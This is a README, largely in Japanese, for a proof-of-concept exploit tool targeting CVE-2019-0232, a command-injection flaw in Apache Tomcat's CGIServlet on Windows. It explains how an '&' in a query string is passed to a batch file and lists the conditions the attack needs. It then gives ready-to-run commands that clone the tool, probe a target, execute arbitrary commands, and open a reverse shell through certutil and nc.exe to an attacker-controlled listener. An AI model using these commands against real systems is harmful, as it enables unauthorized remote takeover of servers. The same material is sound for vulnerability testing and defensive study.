
CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments RCE - PoC Exploit

Apache Tomcat CGIServlet enableCmdLineArguments RCE
Windows バッチスクリプトインジェクション(クエリ文字列引数経由)
Apache Tomcat で CGI サーブレットが有効かつ enableCmdLineArguments=true の場合、クエリ文字列パラメータをコマンドライン引数として CGI スクリプトに渡します。Windows では、バッチファイル (.bat/.cmd) は & をコマンド区切り文字として解釈するため、細工された URL を介して任意のコマンド実行が可能になります。
conf/web.xml または WEB-INF/web.xml で有効化されているenableCmdLineArguments=true が設定されているism.bat)がデプロイされアクセス可能である& インジェクションにはバッチファイルが必要)git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
CGI エンドポイントが存在するか確認:
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
コマンドを実行:
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
リバースシェル(2段階 certutil + nc.exe):
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444